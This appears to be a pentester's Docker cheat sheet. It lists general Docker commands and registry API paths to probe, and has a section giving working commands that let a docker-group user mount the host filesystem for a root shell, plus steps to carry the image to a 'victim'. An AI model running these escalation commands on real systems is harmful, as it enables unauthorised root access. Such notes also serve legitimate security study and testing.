General commands
Show available Docker images
docker images
Show running Docker instances
docker ps
Run an instance in foreground (debug logs are visible)
docker run -p 8080:80/tcp --name bolt11 aerth/boltcms:latest
Run an instance in the background
docker run -p 8000 --name <name> -d -t <imagename>
Open shell into an instance
docker exec -it <container_name> /bin/bash
Copy file(s)
docker cp $container:/from_container/file /tmp/
Docker registry
A Docker Registry is a service which manages containers. (Dokumentation)
Interesting registry path
GET /v2/ GET /v2/<name>/ GET /v2/library/<name>/ GET /v2/<name>/manifests/<reference> GET /v2/<name>/blobs/<digest> GET /v2/<name>/blobs/uploads/<uuid> GET /v2/_catalog GET /v2/<name>/tags/list
Docker user exploit
The securiy model of Docker requires that only trustworthy users are in the Docker group. If you control a user with Docker group membership, you can get a root shell with the following way (Source):
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
OR list all docker containers with docker image ls and just use one of them:
docker run -v /:/mnt --rm -it redmine chroot /mnt sh
Copy docker images
If the victim doesn’t has Internet access (e.g. for the exploit above), then copy the images.
Download the image locally:
docker pull chrisfosterelli/rootplease
Pack it into a TAR file:
docker save -o /tmp/pleaseroot.tar chrisfosterelli/rootplease
Upload it to the victim. There, load it:
docker load -i pleaseroot.tar
Now the image can be used.
Escape
- See Docker Breakout.
- See docker-escape-tool
Notes
Check if /v2/_catalog or /v2/<name>/tags/list ist available.
Links
- https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/
- https://github.com/NotSoSecure/docker_fetch/ (Utility to download docker images)
Leave a Reply
You must be logged in to post a comment.